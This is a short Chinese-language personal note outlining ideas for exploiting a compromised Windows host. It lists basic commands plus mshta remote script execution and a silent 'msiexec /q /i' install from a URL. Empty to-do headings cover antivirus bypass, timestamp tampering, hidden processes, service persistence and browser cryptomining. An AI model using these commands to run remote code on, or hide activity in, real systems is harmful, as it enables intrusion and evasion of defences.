【2019.01.29】windows主机利用思路

一、常用命令：

1. systeminfo   //查看主机信息
2. type xxx //=cat xxx
3. tasklist //=ps
4. taskkill /PID [pid] //结束进程
5. dir xxx //=cat
6. tree /F xxx //显示目录树
7. mshta xxx //远程加载脚本并执行
8. msiexec /q /i http://127.0.0.1/1.txt //下载文件

资料：

https://payloads.online/archivers/2017-11-08/1 //下载文件，执行命令总结

二、bypass杀毒软件

【todo】

三、远程加载执行

【todo】

四、修改文件修改时间

【todo】

五、隐藏进程

【todo】

六、注册服务

【todo】

七、前端挖矿

【todo】